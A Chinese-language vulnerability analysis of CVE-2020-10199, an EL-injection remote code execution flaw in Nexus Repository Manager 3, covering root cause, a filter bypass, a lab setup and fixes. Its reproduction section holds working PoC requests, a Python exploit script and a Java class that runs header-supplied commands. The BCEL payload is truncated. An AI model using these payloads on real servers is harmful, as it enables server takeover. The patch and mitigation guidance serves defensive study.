一、漏洞简介¶
1.1 漏洞背景¶
2020年3月31日,Sonatype 官方发布了 CVE-2020-10199 安全公告。该漏洞由 GitHub Security Lab 的安全研究员 @pwntester 通过 CodeQL 静态分析发现。
漏洞本质是 EL(Expression Language)表达式注入,与之前的 CVE-2018-16621 漏洞相关。攻击者可以通过构造恶意 EL 表达式,在服务器端执行任意代码。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2020-10199 |
| 危害等级 | HIGH / 8.8 |
| 漏洞类型 | EL 表达式注入远程代码执行 |
| 披露时间 | 2020-04-01 |
| 影响组件 | Nexus Repository Manager |
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2020-10199 |
| 危害等级 | 高危(High) |
| CVSS评分 | 8.8(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 漏洞类型 | EL 表达式注入 / 远程代码执行 |
| 利用条件 | 需要普通用户权限 |
| 影响组件 | AbstractGroupRepositoriesApiResource 类 |
补充核验信息:公开时间:2020-04-01;NVD 评分:8.8(HIGH);CWE:CWE-917。
二、影响范围¶
2.1 受影响的版本¶
- Nexus Repository Manager 3 3.0.0 至 3.21.1
完整受影响版本范围: - 3.0.0 - 3.21.1
2.2 不受影响的版本¶
- Nexus Repository Manager 3 3.21.2 及以上版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 具有 Nexus 普通用户权限(无需管理员权限)
- 能够访问 Nexus REST API
- 目标版本在受影响范围内
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
漏洞位于 org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource 抽象类中。当创建或更新 Group Repository 时,会调用 validateGroupMembers 方法验证成员仓库。
漏洞调用链:
AbstractGroupRepositoriesApiResource.createRepository()
↓
validateGroupMembers()
↓
constraintViolationFactory.createViolation()
↓
buildConstraintViolationWithTemplate() ← EL 表达式注入点
核心漏洞代码:
// AbstractGroupRepositoriesApiResource.java
private void validateGroupMembers(T request) {
String groupFormat = request.getFormat();
Set<ConstraintViolation<?>> violations = Sets.newHashSet();
Collection<String> memberNames = request.getGroup().getMemberNames();
for (String repositoryName : memberNames) {
Repository repository = repositoryManager.get(repositoryName);
if (nonNull(repository)) {
String memberFormat = repository.getFormat().getValue();
if (!memberFormat.equals(groupFormat)) {
// repositoryName 用户可控,进入 EL 表达式
violations.add(constraintViolationFactory.createViolation("memberNames",
"Member repository format does not match group repository format: " + repositoryName));
}
} else {
// repositoryName 用户可控,进入 EL 表达式
violations.add(constraintViolationFactory.createViolation("memberNames",
"Member repository does not exist: " + repositoryName));
}
}
maybePropagate(violations, log);
}
ConstraintViolationFactory 实现:
public ConstraintViolation createViolation(String property, String message) {
return buildConstraintViolationWithTemplate(message)
.addPropertyNode(property)
.addConstraintViolation();
}
buildConstraintViolationWithTemplate 方法会解析消息模板中的 EL 表达式,导致注入。
CVE-2018-16621 的修复绕过:
之前的修复方案:
public String stripJavaEl(final String value) {
if (value != null) {
return value.replaceAll("\\$+\\{", "{"); // 过滤 ${...}
}
return null;
}
绕过方法:
由于正则表达式 \\$+\\{ 只匹配 $ 后面紧跟 { 的情况,攻击者可以在 $ 和 { 之间插入其他字符:
// 以下 payload 可以绕过过滤:
"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('id')}"
"$\n{''.getClass()}"
"$+{''.getClass()}"
3.2 源码层面的根因分析(结合源码与补丁对比)¶
EL 表达式执行原理:
Hibernate Validator 在处理约束违规消息时,使用 ElTermResolver 解析 EL 表达式:
// ElTermResolver.java (Hibernate Validator)
public Object resolve(TermResolverContext context, String expression) {
ELResolver resolver = this.elResolver;
// 创建 EL 上下文
ELContext elContext = new ELContext() {
// ...
};
// 解析并执行表达式
ValueExpression valueExpression =
expressionFactory.createValueExpression(elContext, expression, Object.class);
return valueExpression.getValue(elContext);
}
EL 表达式能力:
// 标准 EL 表达式语法
${''.getClass()} // 获取 String 类
${''.getClass().forName('java.lang.Runtime')} // 加载 Runtime 类
${''.getClass().forName('java.lang.Runtime').getMethods()[6]} // 获取 exec 方法
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null, 'id')} // 执行命令
具体实现类:
// GolangGroupRepositoriesApiResource.java
@Named
@Singleton
public class GolangGroupRepositoriesApiResource
extends AbstractGroupRepositoriesApiResource<GoGroupRepositoryApiRequest> {
@POST
@RequiresAuthentication // 只需要认证,不需要特殊权限
@Validate
public Response createRepository(final GoGroupRepositoryApiRequest request) {
validateGroupMembers(request); // 调用漏洞方法
return super.createRepository(request);
}
@PUT
@Path("/{repositoryName}")
@RequiresAuthentication
@Validate
public Response updateRepository(
final GoGroupRepositoryApiRequest request,
@PathParam("repositoryName") final String repositoryName) {
validateGroupMembers(request); // 调用漏洞方法
return super.updateRepository(request, repositoryName);
}
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
Docker 环境搭建:
# 拉取受影响版本
docker pull sonatype/nexus3:3.21.1
# 启动容器
docker run -d -p 8081:8081 --name nexus-cve-2020-10199 sonatype/nexus3:3.21.1
# 等待启动完成
docker logs -f nexus-cve-2020-10199
# 获取初始密码(3.x版本)
docker exec nexus-cve-2020-10199 cat /nexus-data/admin.password
或使用 vulhub:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/nexus/CVE-2020-10199
docker-compose up -d
创建测试用户:
- 登录管理界面(admin/admin123)
- 创建普通用户 test/test123
- 给用户分配 nx-component 权限
4.2 PoC 演示与测试过程¶
不回显 PoC(创建文件):
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: target:8081
Content-Type: application/json
Authorization: Basic dGVzdDp0ZXN0MTIz
{
"name": "test-group",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": [
"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}"
]
}
}
回显 PoC(获取命令执行结果):
利用 BCEL ClassLoader 动态加载恶意类实现回显:
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: target:8081
Content-Type: application/json
Authorization: Basic dGVzdDp0ZXN0MTIz
MagicZero: id
{
"name": "test-group",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": [
"${''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cb$N$C$Q$5b$w$G$e$81$88$d5V$d3$b0$86$c3$81$d1K$c2$c6$81$f4$86$da$db$3c$H$c1$d0V$db$f1$9c$M$ad$d4$d8$40$db$8b$dd$c4$8a$fd$ec$80$de$f4$86$da$db$3c$H$c1$d0V$db$f1$9c$M$ad$d4$d8$40$db$8b$dd$c4$8a$fd$ec$80$de$f4$86$da$db$3c$H$c1$d0V$db$f1$9c$M$ad$d4$d8$40$db$8b$dd$c4$8a$fd$ec$80$de$...').newInstance()}"
]
}
}
Python 自动化 PoC:
#!/usr/bin/env python3
# CVE-2020-10199 PoC
import requests
import base64
import sys
def exploit(target, username, password, command):
url = f"http://{target}/service/rest/beta/repositories/go/group"
# EL 表达式 payload
el_payload = f"$\\\\A{{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('{command}')}}"
payload = {
"name": "test-group-poc",
"online": True,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": True
},
"group": {
"memberNames": [el_payload]
}
}
headers = {"Content-Type": "application/json"}
auth = (username, password)
try:
response = requests.post(url, json=payload, headers=headers, auth=auth, timeout=10)
print(f"[*] Response status: {response.status_code}")
print(f"[*] Response body: {response.text}")
if "Member repository does not exist" in response.text:
print("[+] EL expression executed successfully!")
return True
else:
print("[-] Exploitation failed")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target:port> <username> <password> <command>")
print(f"Example: {sys.argv[0]} 192.168.1.100:8081 test test123 'id'")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
回显利用 Java 代码:
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class EchoPayload {
public static String generateBCEL(String classFile) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get(classFile));
return Utility.encode(bytes, true);
}
public static void main(String[] args) throws Exception {
// 生成 BCEL 字节码
String bcel = generateBCEL("EchoClass.class");
System.out.println("$$BCEL$$$l$8b$I$A$A$A$A$A$A$..." + bcel);
}
}
回显类实现:
import java.io.*;
import javax.servlet.http.*;
public class EchoClass {
static {
try {
// 获取当前线程的 ThreadLocalMap
Thread thread = Thread.currentThread();
java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class<?> threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] entries = (Object[]) tableField.get(threadLocalMap);
Class<?> entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
java.lang.reflect.Field valueField = entryClass.getDeclaredField("value");
valueField.setAccessible(true);
for (Object entry : entries) {
if (entry != null) {
Object value = valueField.get(entry);
if (value != null && value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) {
// 获取 HttpChannel
Object httpChannel = value.getClass().getMethod("getHttpChannel").invoke(value);
// 获取 Request
Object request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel);
// 获取自定义 header 中的命令
String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Cmd");
// 执行命令
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
// 获取 Response 并写入结果
Object response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel);
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
writer.write(output.toString());
writer.close();
break;
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级至以下安全版本:
- Nexus Repository Manager 3.21.2 或更高版本
官方修复方案:
// 改进的 EL 过滤
public String stripJavaEl(final String value) {
if (value != null) {
// 更严格的正则,过滤所有可能的 EL 表达式开头
return value.replaceAll("\\$[+\\\\]*\\{", "{");
}
return null;
}
// 或者完全禁止用户输入进入消息模板
public ConstraintViolation createViolation(String property, String messageKey, Object... args) {
String message = messageSource.getMessage(messageKey, args, Locale.getDefault());
return buildConstraintViolationWithTemplate(message) // 使用安全的消息
.addPropertyNode(property)
.addConstraintViolation();
}
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 禁用 Go Group Repository API:
<!-- nexus-default.properties -->
nexus.repository.go.group.enabled=false
- 网络层限制:
# 限制普通用户对 REST API 的访问
iptables -A INPUT -p tcp --dport 8081 -m string \
--string "/service/rest/beta/repositories/go/group" \
--algo bm -j DROP
- WAF 规则:
# 检测 EL 表达式特征
SecRule REQUEST_BODY "@rx \\$[+\\\\]*\\{" \
"id:1002,phase:2,deny,status:403,msg:'Possible EL Injection'"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Sonatype 官方公告: https://support.sonatype.com/hc/en-us/articles/360044882533
- NVD 漏洞详情: https://nvd.nist.gov/vuln/detail/CVE-2020-10199
- GitHub Security Lab: https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
6.2 其他技术参考资料¶
- 漏洞分析文章: https://www.cnblogs.com/magic-zero/p/12641068.html
- GitHub PoC: https://github.com/jas502n/CVE-2020-10199
- threedr3am 学习项目: https://github.com/threedr3am/learnjavabug/tree/master/nexus